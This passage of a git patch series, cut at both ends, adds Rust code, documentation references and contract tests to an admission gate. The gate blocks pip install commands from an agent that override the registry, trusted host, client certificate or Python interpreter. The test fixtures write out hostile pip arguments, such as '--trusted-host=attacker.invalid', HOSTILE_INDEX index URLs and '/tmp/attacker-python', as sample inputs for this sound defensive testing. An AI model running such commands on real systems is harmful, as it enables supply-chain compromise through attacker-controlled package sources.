push_separate_value_argument( + arguments, + &mut reviewed_global_arguments, + &mut index, + )?; + } + continue; + } + + if is_reviewed_pip_no_index_selector(argument) { + reviewed_global_arguments.push(arguments[index].clone()); + index += 1; + continue; + } + if matches_pip_certificate_store_abbreviation(argument) { if let Some((_, value)) = argument.split_once('=') { if value.is_empty() { From de666dd2f2ff0da810eac6e196252d3970d6ce87 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 12:43:23 +0900 Subject: [PATCH 510/702] fix(security): consume global pip registry values causally --- .../src/pypi_global_option_authority.rs | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/pypi_global_option_authority.rs b/crates/agent-artifact-admission/src/pypi_global_option_authority.rs index 561e7c1f..f563b7eb 100644 --- a/crates/agent-artifact-admission/src/pypi_global_option_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_global_option_authority.rs @@ -70,7 +70,7 @@ pub(crate) fn normalize_reviewed_direct_pip_global_options( reviewed_global_arguments.push(arguments[index].clone()); index += 1; } else { - push_separate_value_argument( + push_attached_normalized_value_argument( arguments, &mut reviewed_global_arguments, &mut index, @@ -125,6 +125,21 @@ pub(crate) fn normalize_reviewed_direct_pip_global_options( None } +fn push_attached_normalized_value_argument( + arguments: &[String], + reviewed_global_arguments: &mut Vec, + index: &mut usize, +) -> Option<()> { + let value = arguments.get(*index + 1)?; + if value == "install" || value.starts_with('-') || value.is_empty() { + return None; + } + + reviewed_global_arguments.push(format!("{}={value}", arguments[*index])); + *index += 2; + Some(()) +} + fn push_separate_value_argument( arguments: &[String], reviewed_global_arguments: &mut Vec, From 6ef5913dcde1df444b3de8fbf42c2fa886dcdb97 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 12:46:07 +0900 Subject: [PATCH 511/702] test(security): satisfy strict clippy on global pip RED --- .../tests/pypi_global_registry_authority_contract.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_global_registry_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_global_registry_authority_contract.rs index d30aab70..07bfd7ca 100644 --- a/crates/agent-artifact-admission/tests/pypi_global_registry_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_global_registry_authority_contract.rs @@ -25,8 +25,8 @@ fn reviewed_pip_baseline_remains_allowed() { fn global_pip_registry_and_trust_selectors_are_causal_trust_evidence() { for executable in ["pip", "pip3"] { for option in [ - format!("--trusted-host=attacker.invalid"), - format!("--tr=attacker.invalid"), + "--trusted-host=attacker.invalid".to_string(), + "--tr=attacker.invalid".to_string(), format!("--index-url={HOSTILE_INDEX}"), format!("--in={HOSTILE_INDEX}"), format!("--extra-index-url={HOSTILE_INDEX}"), From 55a51cf9c0a8e87b5310aa4de252e82458e59412 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 13:00:34 +0900 Subject: [PATCH 512/702] test(security): require pip registry trust traceability --- .../pypi_registry_authority_traceability.rs | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_registry_authority_traceability.rs diff --git a/crates/agent-artifact-admission/tests/pypi_registry_authority_traceability.rs b/crates/agent-artifact-admission/tests/pypi_registry_authority_traceability.rs new file mode 100644 index 00000000..eddcd049 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_registry_authority_traceability.rs @@ -0,0 +1,16 @@ +#[test] +fn direct_pip_registry_authority_keeps_causal_security_traceability() { + let source = include_str!("../src/pypi_registry_authority.rs"); + + for reference in [ + "https://pip.pypa.io/en/latest/reference/requirements-file-format/", + "https://peps.python.org/pep-0503/", + "https://peps.python.org/pep-0493/", + "https://doi.org/10.6028/NIST.SP.800-218", + ] { + assert!( + source.contains(reference), + "direct-pip registry/trust authority must retain causal documentation reference: {reference}" + ); + } +} From 25f4cc91a22594e91019a7f26e019a7688b0200d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 13:02:21 +0900 Subject: [PATCH 513/702] docs(security): ground pip registry trust authority --- .../src/pypi_registry_authority.rs | 25 ++++++++++++++++++- 1 file changed, 24 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/pypi_registry_authority.rs b/crates/agent-artifact-admission/src/pypi_registry_authority.rs index 7a8f7341..10f4fe5f 100644 --- a/crates/agent-artifact-admission/src/pypi_registry_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_registry_authority.rs @@ -12,6 +12,21 @@ const PIP_TRUSTED_HOST_SHORTEST_ACCEPTED_PREFIX: &str = "--tr"; /// Return whether a direct Python package install disables or replaces the exact /// reviewed registry/source authority or relaxes its reviewed transport trust. +/// +/// Security traceability: +/// - pip documents `--index-url`, `--extra-index-url`, `--no-index`, +/// `--find-links`, and `--trusted-host` as global install controls, so these +/// tokens change source or trust authority rather than artifact identity: +/// . +/// - PEP 503 defines the Simple Repository API around a repository base URL; +/// selecting a different base therefore changes package-source authority: +/// . +/// - PEP 493 records the HTTPS certificate-verification boundary for Python +/// clients; treating `--trusted-host` as alternate trust evidence preserves +/// that transport-authentication distinction: . +/// - NIST SSDF PW.8 requires software components to be verified before use; +/// preserving registry/trust selection as explicit admission evidence keeps +/// that verification decision auditable: . pub(crate) fn disables_reviewed_registry(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { return false; @@ -44,6 +59,10 @@ pub(crate) fn disables_reviewed_registry(intent: &InstallIntent) -> bool { /// Return whether `argument` is a reviewed direct-pip registry/source selector /// that consumes one value. This is the shared language for both post-command /// policy evaluation and the bounded pre-command General Option normalizer. +/// pip's global-option contract is documented at +/// and the +/// repository-base authority it selects is standardized by PEP 503 +/// (). pub(crate) fn is_reviewed_pip_registry_value_selector(argument: &str) -> bool { let option = option_name(argument); @@ -62,7 +81,9 @@ pub(crate) fn is_reviewed_pip_registry_value_selector(argument: &str) -> bool { } /// Return whether `argument` is the reviewed value-less `--no-index` selector -/// or one of pip's verified unambiguous long-option prefixes for it. +/// or one of pip's verified unambiguous long-option prefixes for it. pip +/// documents `--no-index` as a global source-selection control at +/// . pub(crate) fn is_reviewed_pip_no_index_selector(argument: &str) -> bool { if argument.contains('=') { return false; @@ -100,6 +121,8 @@ fn requests_pip_source_selector_abbreviation(argument: &str) -> bool { /// the shortest verified prefix while `--t` remains ambiguous with other pip /// options. Classify only the accepted direct-pip abbreviation language here; /// canonical `--trusted-host` remains covered by the generic exact-option guard. +/// PEP 493 documents why server-certificate verification is a transport trust +/// boundary rather than package identity: . fn requests_pip_trusted_host_abbreviation(argument: &str) -> bool { is_unambiguous_long_option_prefix( option_name(argument), From 6816065c7242f7bc8575bdeee150f807e2ffc7fa Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 13:10:20 +0900 Subject: [PATCH 514/702] test(security): prove global pip client-cert operand precision --- ...i_client_certificate_authority_contract.rs | 44 +++++++++++++++++++ 1 file changed, 44 insertions(+) diff --git a/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs index 3e3f9353..ab8243a9 100644 --- a/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs @@ -147,6 +147,50 @@ fn pip_global_separate_client_certificate_value_is_explicitly_classified() { "{executable} global separate {option} must be classified explicitly rather than relying on command or operand rejection: {:?}", decision.reason_codes ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "{executable} global separate {option} must consume its client-certificate value as option grammar rather than manufacture an undeclared package finding: {:?}", + decision.reason_codes + ); + } + } +} + +#[test] +fn pip_global_separate_client_certificate_still_exposes_a_real_extra_artifact() { + for executable in ["pip", "pip3"] { + for option in ["--client-cert", "--cl"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + option.to_string(), + "/tmp/attacker-client.pem".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "unapproved-extra==9.9.9".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "{executable} global separate {option} must retain the explicit client-certificate trust finding: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "{executable} global separate {option} must not hide a genuine extra package operand: {:?}", + decision.reason_codes + ); } } } From 6dfb38763db489a63db87a9e3c9de8328e5d9141 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 13:13:41 +0900 Subject: [PATCH 515/702] test(security): isolate client-cert operand precision RED --- .../pypi_client_certificate_authority_contract.rs | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs index ab8243a9..3ba434a3 100644 --- a/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs @@ -98,6 +98,7 @@ fn pip_global_client_certificate_authority_before_install_is_explicitly_classifi ARTIFACT_ARGUMENT.to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-input".to_string(), ]; let decision = admission_decision(&policy, &intent); @@ -131,6 +132,7 @@ fn pip_global_separate_client_certificate_value_is_explicitly_classified() { ARTIFACT_ARGUMENT.to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-input".to_string(), ]; let decision = admission_decision(&policy, &intent); @@ -154,6 +156,13 @@ fn pip_global_separate_client_certificate_value_is_explicitly_classified() { "{executable} global separate {option} must consume its client-certificate value as option grammar rather than manufacture an undeclared package finding: {:?}", decision.reason_codes ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), + "{executable} reviewed safety flags must remain visible after global client-certificate normalization: {:?}", + decision.reason_codes + ); } } } @@ -172,6 +181,7 @@ fn pip_global_separate_client_certificate_still_exposes_a_real_extra_artifact() "unapproved-extra==9.9.9".to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-input".to_string(), ]; let decision = admission_decision(&policy, &intent); @@ -234,6 +244,7 @@ fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { ARTIFACT_ARGUMENT.to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-input".to_string(), ], manifest_sha256: MANIFEST_DIGEST.to_string(), source: InstructionSource { From 1863bece155dfe04c12ceaa05d0a8d0b6e744690 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 13:15:30 +0900 Subject: [PATCH 516/702] fix(security): consume global pip client-cert values --- .../src/pypi_global_option_authority.rs | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/pypi_global_option_authority.rs b/crates/agent-artifact-admission/src/pypi_global_option_authority.rs index f563b7eb..3a495174 100644 --- a/crates/agent-artifact-admission/src/pypi_global_option_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_global_option_authority.rs @@ -110,7 +110,10 @@ pub(crate) fn normalize_reviewed_direct_pip_global_options( reviewed_global_arguments.push(arguments[index].clone()); index += 1; } else { - push_separate_value_argument( + // The client-certificate path is consumed option grammar, not an + // artifact operand. Attach it only in the internal policy copy; + // admission_decision restores audit identity from submitted argv. + push_attached_normalized_value_argument( arguments, &mut reviewed_global_arguments, &mut index, From cbb57b143282d962c04177c9ad7cf10ea856fd52 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 13:16:52 +0900 Subject: [PATCH 517/702] test(security): bind client-cert normalization audit identity --- ...i_client_certificate_authority_contract.rs | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs index 3ba434a3..1cc19373 100644 --- a/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs @@ -1,12 +1,25 @@ use wardnet_agent_artifact_admission::{ AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, }; const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; +#[test] +fn reviewed_pip_install_without_client_certificate_override_remains_admissible() { + for executable in ["pip", "pip3"] { + let (policy, intent) = approved_pip_install(executable); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); + } +} + #[test] fn pip_client_certificate_override_cannot_inherit_artifact_approval() { for executable in ["pip", "pip3"] { @@ -134,6 +147,7 @@ fn pip_global_separate_client_certificate_value_is_explicitly_classified() { "--no-deps".to_string(), "--no-input".to_string(), ]; + let submitted_argv = intent.argv.clone(); let decision = admission_decision(&policy, &intent); @@ -163,6 +177,11 @@ fn pip_global_separate_client_certificate_value_is_explicitly_classified() { "{executable} reviewed safety flags must remain visible after global client-certificate normalization: {:?}", decision.reason_codes ); + assert_eq!( + decision.command_sha256, + sha256_hex(submitted_argv.join("\u{1f}").as_bytes()), + "internal normalization must preserve the exact caller-submitted argv audit identity" + ); } } } From 1ad7532225d828d60bdbc196b34aa51c31e45a26 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 15:18:36 +0900 Subject: [PATCH 518/702] test(admission): expose direct-pip Python interpreter authority --- ...i_python_interpreter_authority_contract.rs | 171 ++++++++++++++++++ 1 file changed, 171 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_python_interpreter_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_python_interpreter_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_python_interpreter_authority_contract.rs new file mode 100644 index 00000000..2352dcbd --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_python_interpreter_authority_contract.rs @@ -0,0 +1,171 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; +const INTERPRETER: &str = "/tmp/attacker-python"; + +#[test] +fn reviewed_direct_pip_install_without_python_override_remains_admissible() { + for executable in ["pip", "pip3"] { + let (policy, intent) = approved_pip_install(executable); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); + } +} + +#[test] +fn global_direct_pip_python_interpreter_authority_is_causally_classified() { + for executable in ["pip", "pip3"] { + for option in ["--python", "--py"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + option.to_string(), + INTERPRETER.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + let submitted_argv = intent.argv.clone(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateInstallRoot], + "{executable} global separate {option} must identify caller-selected interpreter authority without manufacturing command or artifact findings" + ); + assert_eq!( + decision.command_sha256, + sha256_hex(submitted_argv.join("\u{1f}").as_bytes()), + "internal policy normalization must retain the exact submitted argv as audit identity" + ); + } + } +} + +#[test] +fn attached_global_direct_pip_python_interpreter_authority_is_causally_classified() { + for executable in ["pip", "pip3"] { + for option in ["--python", "--py"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + format!("{option}={INTERPRETER}"), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + let submitted_argv = intent.argv.clone(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateInstallRoot], + "{executable} global attached {option} must identify caller-selected interpreter authority" + ); + assert_eq!( + decision.command_sha256, + sha256_hex(submitted_argv.join("\u{1f}").as_bytes()) + ); + } + } +} + +#[test] +fn direct_pip_python_selector_does_not_hide_a_real_extra_artifact_operand() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + "--python".to_string(), + INTERPRETER.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "unapproved-extra==9.9.9".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.reason_codes, + vec![ + ReasonCode::AlternateInstallRoot, + ReasonCode::ArtifactNotApproved, + ], + "the interpreter value is option grammar, but a genuine second package operand remains an artifact-policy violation" + ); + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-python-interpreter-authority".to_string(), + policy_revision: "2026-09-12.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-pypi-python-interpreter-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} From 7b8c253203b12ac987e126608b0291a12e040a24 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 15:23:43 +0900 Subject: [PATCH 519/702] fix(admission): classify direct-pip Python interpreter authority --- crates/agent-artifact-admission/src/lib.rs | 14 +++++ .../src/pypi_global_option_authority.rs | 22 +++++++ .../src/pypi_python_interpreter_authority.rs | 59 +++++++++++++++++++ 3 files changed, 95 insertions(+) create mode 100644 crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 9f5dd9e0..cc726b2d 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -25,6 +25,7 @@ mod pypi_keyring_provider_authority; mod pypi_log_output_authority; mod pypi_noninteractive_authority; mod pypi_proxy_authority; +mod pypi_python_interpreter_authority; mod pypi_registry_authority; mod pypi_requires_python_authority; mod pypi_system_package_authority; @@ -238,6 +239,19 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } + if pypi_python_interpreter_authority::requests_unapproved_pypi_python_interpreter_authority( + intent, + ) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot) + { + decision + .reason_codes + .insert(0, ReasonCode::AlternateInstallRoot); + } + decision.decision = DecisionKind::Block; + } if pypi_registry_authority::disables_reviewed_registry(intent) { if !decision .reason_codes diff --git a/crates/agent-artifact-admission/src/pypi_global_option_authority.rs b/crates/agent-artifact-admission/src/pypi_global_option_authority.rs index 3a495174..c6a111cc 100644 --- a/crates/agent-artifact-admission/src/pypi_global_option_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_global_option_authority.rs @@ -4,6 +4,7 @@ use crate::pypi_client_certificate_authority::matches_pip_client_certificate_opt use crate::pypi_proxy_authority::{ is_attached_direct_pip_proxy_selector, is_direct_pip_proxy_value_selector, }; +use crate::pypi_python_interpreter_authority::matches_pip_python_interpreter_option; use crate::pypi_registry_authority::{ is_reviewed_pip_no_index_selector, is_reviewed_pip_registry_value_selector, }; @@ -122,6 +123,27 @@ pub(crate) fn normalize_reviewed_direct_pip_global_options( continue; } + if matches_pip_python_interpreter_option(argument) { + if let Some((_, value)) = argument.split_once('=') { + if value.is_empty() { + return None; + } + reviewed_global_arguments.push(arguments[index].clone()); + index += 1; + } else { + // The interpreter path is consumed General Option grammar, not a + // package operand. Keep it attached only in the internal policy + // copy so artifact cardinality remains exact; the wrapper restores + // the caller-submitted argv hash before returning the decision. + push_attached_normalized_value_argument( + arguments, + &mut reviewed_global_arguments, + &mut index, + )?; + } + continue; + } + return None; } diff --git a/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs new file mode 100644 index 00000000..d93e9723 --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs @@ -0,0 +1,59 @@ +use crate::InstallIntent; + +/// Return whether a direct-pip General Option token selects the Python interpreter. +/// +/// The reviewed pip parser defines `--python` as a General Option that runs pip +/// with the selected interpreter. Python `optparse` accepts unambiguous long-option +/// prefixes; in the pinned pip General Options set, `--p` is ambiguous with +/// `--proxy`, while `--py` through `--python` uniquely select `--python`. +/// This matcher is intentionally scoped to pip and is not shared with uv or any +/// other package-manager grammar. +pub(crate) fn matches_pip_python_interpreter_option(argument: &str) -> bool { + let option = argument + .split_once('=') + .map_or(argument, |(option, _)| option); + matches!(option, "--py" | "--pyt" | "--pyth" | "--pytho" | "--python") +} + +/// Detect caller-selected Python-interpreter authority after direct-pip global +/// option normalization has produced the ordinary `pip install` policy shape. +pub(crate) fn requests_unapproved_pypi_python_interpreter_authority( + intent: &InstallIntent, +) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "pip" | "pip3") + || !intent + .argv + .get(1) + .is_some_and(|argument| argument == "install") + { + return false; + } + + intent + .argv + .iter() + .skip(2) + .any(|argument| matches_pip_python_interpreter_option(argument)) +} + +#[cfg(test)] +mod tests { + use super::matches_pip_python_interpreter_option; + + #[test] + fn pip_python_prefix_matcher_is_bounded_to_verified_unambiguous_language() { + for accepted in ["--py", "--pyt", "--pyth", "--pytho", "--python"] { + assert!(matches_pip_python_interpreter_option(accepted)); + assert!(matches_pip_python_interpreter_option(&format!( + "{accepted}=/tmp/python" + ))); + } + + for rejected in ["--p", "--proxy", "--python-version", "-p", "--pythonx"] { + assert!(!matches_pip_python_interpreter_option(rejected)); + } + } +} From 7d876e0bb9937f02580969f5b6d143011a999306 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 15:33:58 +0900 Subject: [PATCH 520/702] test(admission): expose post-command pip Python operand drift --- ...i_python_interpreter_authority_contract.rs | 64 +++++++++++++++++++ 1 file changed, 64 insertions(+) diff --git a/crates/agent-artifact-admission/tests/pypi_python_interpreter_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_python_interpreter_authority_contract.rs index 2352dcbd..7d833310 100644 --- a/crates/agent-artifact-admission/tests/pypi_python_interpreter_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_python_interpreter_authority_contract.rs @@ -117,6 +117,70 @@ fn direct_pip_python_selector_does_not_hide_a_real_extra_artifact_operand() { } } +#[test] +fn post_command_direct_pip_python_value_is_option_grammar_not_an_artifact() { + for executable in ["pip", "pip3"] { + for option in ["--py", "--pyt", "--pyth", "--pytho", "--python"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + "install".to_string(), + option.to_string(), + INTERPRETER.to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + let submitted_argv = intent.argv.clone(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateInstallRoot], + "{executable} post-command separate {option} must consume its interpreter value as General Option grammar rather than manufacture an artifact finding" + ); + assert_eq!( + decision.command_sha256, + sha256_hex(submitted_argv.join("\u{1f}").as_bytes()), + "operand filtering must not rewrite submitted audit identity" + ); + } + } +} + +#[test] +fn post_command_direct_pip_python_selector_still_exposes_a_real_extra_package() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + "install".to_string(), + "--python".to_string(), + INTERPRETER.to_string(), + ARTIFACT_ARGUMENT.to_string(), + "unapproved-extra==9.9.9".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.reason_codes, + vec![ + ReasonCode::AlternateInstallRoot, + ReasonCode::ArtifactNotApproved, + ], + "consuming the interpreter path must not hide a genuine second package operand" + ); + } +} + fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { let artifact = ArtifactCoordinate { ecosystem: "pypi".to_string(), From 0fba191de52598d953c593c7c1be04105c9952ad Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 15:40:53 +0900 Subject: [PATCH 521/702] test(admission): correct post-command pip Python parser scope --- ...i_python_interpreter_authority_contract.rs | 64 -------- ...ython_interpreter_post_command_contract.rs | 155 ++++++++++++++++++ 2 files changed, 155 insertions(+), 64 deletions(-) create mode 100644 crates/agent-artifact-admission/tests/pypi_python_interpreter_post_command_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_python_interpreter_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_python_interpreter_authority_contract.rs index 7d833310..2352dcbd 100644 --- a/crates/agent-artifact-admission/tests/pypi_python_interpreter_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_python_interpreter_authority_contract.rs @@ -117,70 +117,6 @@ fn direct_pip_python_selector_does_not_hide_a_real_extra_artifact_operand() { } } -#[test] -fn post_command_direct_pip_python_value_is_option_grammar_not_an_artifact() { - for executable in ["pip", "pip3"] { - for option in ["--py", "--pyt", "--pyth", "--pytho", "--python"] { - let (policy, mut intent) = approved_pip_install(executable); - intent.argv = vec![ - executable.to_string(), - "install".to_string(), - option.to_string(), - INTERPRETER.to_string(), - ARTIFACT_ARGUMENT.to_string(), - "--require-hashes".to_string(), - "--no-deps".to_string(), - "--no-input".to_string(), - ]; - let submitted_argv = intent.argv.clone(); - - let decision = admission_decision(&policy, &intent); - - assert_eq!(decision.decision, DecisionKind::Block); - assert_eq!( - decision.reason_codes, - vec![ReasonCode::AlternateInstallRoot], - "{executable} post-command separate {option} must consume its interpreter value as General Option grammar rather than manufacture an artifact finding" - ); - assert_eq!( - decision.command_sha256, - sha256_hex(submitted_argv.join("\u{1f}").as_bytes()), - "operand filtering must not rewrite submitted audit identity" - ); - } - } -} - -#[test] -fn post_command_direct_pip_python_selector_still_exposes_a_real_extra_package() { - for executable in ["pip", "pip3"] { - let (policy, mut intent) = approved_pip_install(executable); - intent.argv = vec![ - executable.to_string(), - "install".to_string(), - "--python".to_string(), - INTERPRETER.to_string(), - ARTIFACT_ARGUMENT.to_string(), - "unapproved-extra==9.9.9".to_string(), - "--require-hashes".to_string(), - "--no-deps".to_string(), - "--no-input".to_string(), - ]; - - let decision = admission_decision(&policy, &intent); - - assert_eq!(decision.decision, DecisionKind::Block); - assert_eq!( - decision.reason_codes, - vec![ - ReasonCode::AlternateInstallRoot, - ReasonCode::ArtifactNotApproved, - ], - "consuming the interpreter path must not hide a genuine second package operand" - ); - } -} - fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { let artifact = ArtifactCoordinate { ecosystem: "pypi".to_string(), diff --git a/crates/agent-artifact-admission/tests/pypi_python_interpreter_post_command_contract.rs b/crates/agent-artifact-admission/tests/pypi_python_interpreter_post_command_contract.rs new file mode 100644 index 00000000..289cb57b --- /dev/null +++ 